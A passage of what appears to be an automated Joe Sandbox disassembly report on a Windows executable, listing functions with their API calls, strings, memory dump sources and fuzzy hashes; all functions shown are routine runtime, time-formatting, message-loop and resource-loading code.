ReleaseSRWLockExclusive, xrefs: 00B24D96
KERNEL32.DLL, xrefs: 00B24D71

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: 80203c7aa91d72618451f473721f23c25db40d86e876cfcc9d39c62b317acd58
Instruction ID: fd307d77d9b5948ed070912cbce56d485edf4999357083d6910f7d33632fccc7
Opcode Fuzzy Hash: 80203c7aa91d72618451f473721f23c25db40d86e876cfcc9d39c62b317acd58
Instruction Fuzzy Hash: 03F0C833611A32D70B315EB47C9577A36DCEA0579632006F9D629D7AE0EB60CC114790

Function 00B31609 Relevance: 9.2, APIs: 6, Instructions: 216COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00B2C5A2,00B2C5A2,?,?,?,00B3185A,00000001,00000001,C5E85006), ref: 00B31663
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00B3185A,00000001,00000001,C5E85006,?,?,?), ref: 00B316E9
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,C5E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00B317E3
__freea.LIBCMT ref: 00B317F0

Part of subcall function 00B3040E: RtlAllocateHeap.NTDLL(00000000,00B2535E,?,?,00B26C16,?,?,?,?,?,00B25269,00B2535E,?,?,?,?), ref: 00B30440

__freea.LIBCMT ref: 00B317F9
__freea.LIBCMT ref: 00B3181E

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: e8a8dc1064ebcda645eb571c154260a6ec87ca58853c8890aee08e0541ab9c98
Instruction ID: bcd02e0e20f69082ceafecb3bdeb4ac79ed0a0805f22a173b9a20a52f728b605
Opcode Fuzzy Hash: e8a8dc1064ebcda645eb571c154260a6ec87ca58853c8890aee08e0541ab9c98
Instruction Fuzzy Hash: 4751A3B2600216ABDB259F68CC81EBB77EEEB44750F394AA8FC04E7150EB34DC50D660

Function 00B17AA3 Relevance: 9.1, APIs: 6, Instructions: 104timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?), ref: 00B17B06

Part of subcall function 00B1067E: GetVersionExW.KERNEL32(?), ref: 00B106AF

LocalFileTimeToFileTime.KERNEL32(?,?,?,?), ref: 00B17B2A
FileTimeToSystemTime.KERNEL32(?,?,?,?), ref: 00B17B44
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?,?,?), ref: 00B17B57
SystemTimeToFileTime.KERNEL32(?,?,?,?), ref: 00B17B67
SystemTimeToFileTime.KERNEL32(?,?,?,?), ref: 00B17B77

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 7d422435aeb159d3a964b1c05a04413bcebcd6e4ec8c793de719e537e349c47b
Instruction ID: ae9c6e80ffe43fa941e3569973a59d4076643b1f7dbb486d5b8e7e17c977e56d
Opcode Fuzzy Hash: 7d422435aeb159d3a964b1c05a04413bcebcd6e4ec8c793de719e537e349c47b
Instruction Fuzzy Hash: 644125761083159BC704DFA8C88599BBBF8FF98704F04495EF989D7220EB30D948CBA6

Function 00B1F33B Relevance: 9.1, APIs: 6, Instructions: 102timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?,5EA84158,?,?,?,?,00B3AA27,000000FF), ref: 00B1F38A
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,?,00B3AA27,000000FF), ref: 00B1F399
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,00B3AA27,000000FF), ref: 00B1F3A7
FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,00B3AA27,000000FF), ref: 00B1F3B5
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032,?,?,?,?,00B3AA27,000000FF), ref: 00B1F3D0
GetTimeFormatW.KERNEL32(00000400,?,?,00000000,?,00000032,?,?,?,?,00B3AA27,000000FF), ref: 00B1F3FA

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: Time$System$File$Format$DateLocalSpecific
String ID:
API String ID: 909090443-0
Opcode ID: 540f5d31902a588ca4416c9cd68f180449444ace02dc217b57b48114b39aec51
Instruction ID: 2e8a890128e6b1e6ac9ed885142a73baaa4e6a898d29faddeb6a402c22e1aab5
Opcode Fuzzy Hash: 540f5d31902a588ca4416c9cd68f180449444ace02dc217b57b48114b39aec51
Instruction Fuzzy Hash: F9311CB2500188AFDB24DFA4DD45EEF7BACFB09700F00456AF906E7181EB74AA04CB60

Function 00B2977A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00B29771,00B296CC,00B26A64), ref: 00B29788
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00B29796
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00B297AF
SetLastError.KERNEL32(00000000,00B29771,00B296CC,00B26A64), ref: 00B29801

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 1f63c4bb42240778c27faba5209928c93b48c595b7893fa0c35b310384f2715d
Instruction ID: e77ae8ac7f68fc35998b44a8c18a857dc44f1645becae4be21719bd06bc377e2
Opcode Fuzzy Hash: 1f63c4bb42240778c27faba5209928c93b48c595b7893fa0c35b310384f2715d
Instruction Fuzzy Hash: D901DF36229232EEA6252FB57CE956B6BD8FB02379B3003B9F52C961F4EF114C40D241

Function 00B30005 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00B2B581,?,00B4E088,?,00B2AE80,?,00B4E088,?,00000007), ref: 00B30009
_free.LIBCMT ref: 00B3003C
_free.LIBCMT ref: 00B30064
SetLastError.KERNEL32(00000000,00B4E088,?,00000007), ref: 00B30071
SetLastError.KERNEL32(00000000,00B4E088,?,00000007), ref: 00B3007D
_abort.LIBCMT ref: 00B30083

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 66d95aeb9d2ed324fc04b1383b06e4c7a774280eadb05c4dff5b10ad169a8eb3
Instruction ID: e234694c6a7d9e5b3b45b370f07391dc29e3b1c261e36767a2ff36516fadd2e3
Opcode Fuzzy Hash: 66d95aeb9d2ed324fc04b1383b06e4c7a774280eadb05c4dff5b10ad169a8eb3
Instruction Fuzzy Hash: 3CF0A43A154615A7C22A33786C6AF2F3AE9DFC1B61F3501A4F518A3192EF348C468324

Function 00B23FCF Relevance: 9.0, APIs: 6, Instructions: 42windowsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,0000000A), ref: 00B23FDB
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00B23FF5
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00B24006
TranslateMessage.USER32(?), ref: 00B24010
DispatchMessageW.USER32(?), ref: 00B2401A
WaitForSingleObject.KERNEL32(?,0000000A), ref: 00B24025

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: Message$ObjectSingleWait$DispatchPeekTranslate
String ID:
API String ID: 2148572870-0
Opcode ID: 7e859dcae99c1cd946eca073c98c87c44f59234d2d485ea0a585760b10dd681c
Instruction ID: 5170f903a00f6e22ce8d899a811989668d5d1c9efc5941699c1797e7bd45040c
Opcode Fuzzy Hash: 7e859dcae99c1cd946eca073c98c87c44f59234d2d485ea0a585760b10dd681c
Instruction Fuzzy Hash: 18F04F72A05229BBCB205BE1FC4CECF7FADEF45792B044051FA0AE2094EA349541CBE0

Function 00B22493 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 216windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000066), ref: 00B226A9
SendMessageW.USER32(00000000,00000143,00000000,00B55380), ref: 00B226D6
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00B22702

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00B225F4
ProgramFilesDir, xrefs: 00B225E0

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: MessageSend$Item
String ID: ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
API String ID: 3888421826-2634093826
Opcode ID: c2bbe21ed6416f0dc707af571e4732941e0049b5b6929236bede412428605112
Instruction ID: 9167ca8e8a0152867f33248b7818156f58f77fcb148a27a5da7239dd22b8521c
Opcode Fuzzy Hash: c2bbe21ed6416f0dc707af571e4732941e0049b5b6929236bede412428605112
Instruction Fuzzy Hash: 58815031900228AEDF24EBE4D891BEDBBF8AF18310F5454D9E509B7191DB716B89CB60

Function 00B1DC95 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B1DC9C
_wcslen.LIBCMT ref: 00B1DD61
_wcslen.LIBCMT ref: 00B1DDAC

Strings

 , xrefs: 00B1DDA7, 00B1DDB3
<br>, xrefs: 00B1DD5C, 00B1DD68

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: _wcslen$H_prolog3
String ID:  $<br>
API String ID: 1035939448-26742755
Opcode ID: 0d484fa000ed3422ecc90abc41d197b8fb976b32ef96a3af01e4487a8cca21c8
Instruction ID: 387e340f08a28e6608570a7ede222f0b676a095cac040fc1ffdb979f4ab76b18
Opcode Fuzzy Hash: 0d484fa000ed3422ecc90abc41d197b8fb976b32ef96a3af01e4487a8cca21c8
Instruction Fuzzy Hash: 1A416D31B002109BCB249F54E981B7D77B2FB95304FB084ADE4068B281EBB099D2CBD1

Function 00B207E5 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

LoadBitmapW.USER32(00000065), ref: 00B207F5
GetObjectW.GDI32(00000000,00000018,?), ref: 00B2081A
DeleteObject.GDI32(00000000), ref: 00B2084C
DeleteObject.GDI32(00000000), ref: 00B2086F

Part of subcall function 00B1EBD3: FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,00B20845,00000066), ref: 00B1EBE6
Part of subcall function 00B1EBD3: SizeofResource.KERNEL32(00000000,?,?,?,00B20845,00000066), ref: 00B1EBFD
Part of subcall function 00B1EBD3: LoadResource.KERNEL32(00000000,?,?,?,00B20845,00000066), ref: 00B1EC14
Part of subcall function 00B1EBD3: LockResource.KERNEL32(00000000,?,?,?,00B20845,00000066), ref: 00B1EC23
Part of subcall function 00B1EBD3: GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,?,00B20845,00000066), ref: 00B1EC3E
Part of subcall function 00B1EBD3: GlobalLock.KERNEL32(00000000), ref: 00B1EC4F
Part of subcall function 00B1EBD3: CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 00B1EC73
Part of subcall function 00B1EBD3: GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00B1ECB8
Part of subcall function 00B1EBD3: GlobalUnlock.KERNEL32(00000000), ref: 00B1ECD7
Part of subcall function 00B1EBD3: GlobalFree.KERNEL32(00000000), ref: 00B1ECDE

Strings

], xrefs: 00B20822

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: Global$Resource$Object$BitmapCreateDeleteLoadLock$AllocFindFreeFromGdipSizeofStreamUnlock
String ID: ]
API String ID: 1797374341-3352871620
Opcode ID: 1ab87d23ad5a4fc7d232367363691699ffc712091202efcabafc575492429456
Instruction ID: deb6c8ccc0d3b0c85be4498678761123387456e2b0a1815acbb2e2259a85cbb3
Opcode Fuzzy Hash: 1ab87d23ad5a4fc7d232367363691699ffc712091202efcabafc575492429456
Instruction Fuzzy Hash: 9E01C435950215A7D7117764AC09BBB7AF9EF80B56F0900A4FD14AB2D2EF71CC0586E1

Function 00B2ED2F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00B2ECE0,00000000,?,00B2EC80,00000000,00B46F40,0000000C,00B2EDD7,00000000,00000002), ref: 00B2ED4F
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00B2ED62
FreeLibrary.KERNEL32(00000000,?,?,?,00B2ECE0,00000000,?,00B2EC80,00000000,00B46F40,0000000C,00B2EDD7,00000000,00000002), ref: 00B2ED85

Strings

CorExitProcess, xrefs: 00B2ED5A
mscoree.dll, xrefs: 00B2ED48

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 9809f2d6418f460d842ff6e831f38c66f947209fe0926c8de9e67c9f64ff2881
Instruction ID: 90ffa057b3cff9bf68cc5870cff5369212a82aee459c1cb80a4de3820add87ab
Opcode Fuzzy Hash: 9809f2d6418f460d842ff6e831f38c66f947209fe0926c8de9e67c9f64ff2881
Instruction Fuzzy Hash: 39F03135A50218FBDB159FA5DC59BAEBFF5EB04755F1001A8A809A2160CF359D41CB50

Function 00B15094 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00B16C5E: __EH_prolog3_GS.LIBCMT ref: 00B16C65
Part of subcall function 00B16C5E: GetSystemDirectoryW.KERNEL32(00000000,00000104), ref: 00B16C9A

GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00B150B3
GetProcAddress.KERNEL32(00B551F8,CryptUnprotectMemory), ref: 00B150C3

Strings

CryptUnprotectMemory, xrefs: 00B150B9
CryptProtectMemory, xrefs: 00B150AD
Crypt32.dll, xrefs: 00B1509D

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AddressProc$DirectoryH_prolog3_System
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 270589589-1753850145
Opcode ID: 26aff16c3e5394ad2a895b2befe23cd4a09612b2addaa994b78c87ed6486ce0c
Instruction ID: 23d0472ace7418036d27818e5d570b3e82b5f2eb86ecce7f842ed335262adf38
Opcode Fuzzy Hash: 26aff16c3e5394ad2a895b2befe23cd4a09612b2addaa994b78c87ed6486ce0c
Instruction Fuzzy Hash: 72E04F70910751DEC7305BF8DC087867ED49F09704F60C8AEB4D9E3560DAB4E4808B90

Function 00B2985A Relevance: 7.7, APIs: 5, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00B29921
___AdjustPointer.LIBCMT ref: 00B29944
_abort.LIBCMT ref: 00B29992
___AdjustPointer.LIBCMT ref: 00B299E0

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AdjustPointer$_abort
String ID:
API String ID: 2252061734-0
Opcode ID: 2e0be1dec33ff608cb892fbf3c052c6405e067dc6ab54140891e779ec80bd6d8
Instruction ID: 6472d8bc64a6049b416d498f1caee907224cb39e9d39f8dbb731ed19a104168a
Opcode Fuzzy Hash: 2e0be1dec33ff608cb892fbf3c052c6405e067dc6ab54140891e779ec80bd6d8
Instruction Fuzzy Hash: 2251D272A012269FEB299F50E841BBAB7E4FF44720F1445ADE84D57291E731EC84C790

Function 00B0F3BE Relevance: 7.7, APIs: 5, Instructions: 161filetimeCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B0F3C5
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,00000050,00B0B749,?,?,?,?,?,?), ref: 00B0F450
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?), ref: 00B0F4A7
SetFileTime.KERNEL32(?,?,?,?), ref: 00B0F569
CloseHandle.KERNEL32(?), ref: 00B0F570

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: File$Create$CloseH_prolog3_HandleTime
String ID:
API String ID: 4002707884-0
Opcode ID: f241af44706e085b7a142dfc679ce486116a817df7175632910d5cef916baaa0
Instruction ID: 208df592811154e8a7083b010319520a5fd62a7dd729dcded4c30ffc09a61136
Opcode Fuzzy Hash: f241af44706e085b7a142dfc679ce486116a817df7175632910d5cef916baaa0
Instruction Fuzzy Hash: 8E518B70A0424AAADF25DFE8D885BEEBBF5AF48310F240169F451F72C0DB349A45CB24

Function 00B32BE0 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00B32BE9
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B32C0C

Part of subcall function 00B3040E: RtlAllocateHeap.NTDLL(00000000,00B2535E,?,?,00B26C16,?,?,?,?,?,00B25269,00B2535E,?,?,?,?), ref: 00B30440

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00B32C32
_free.LIBCMT ref: 00B32C45
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00B32C54

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: 84066289c09fa5a8399346be6c88e420981185bac3e3af8b69b7cd133a457265
Instruction ID: 55b2e243202cbf32a318b701680e27f1b1170cb574b6a973ef569d5f3a523148
Opcode Fuzzy Hash: 84066289c09fa5a8399346be6c88e420981185bac3e3af8b69b7cd133a457265
Instruction Fuzzy Hash: 2E01D4736016107F3B262BA65C88D7F7EADDEC6B61B3501A8B904E3111DE608C01A2B0

Function 00B30089 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00B2535E,00B2535E,?,00B301D8,00B30451,?,?,00B26C16,?,?,?,?,?,00B25269,00B2535E,?), ref: 00B3008E
_free.LIBCMT ref: 00B300C3
_free.LIBCMT ref: 00B300EA
SetLastError.KERNEL32(00000000,?,00B2535E), ref: 00B300F7
SetLastError.KERNEL32(00000000,?,00B2535E), ref: 00B30100

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

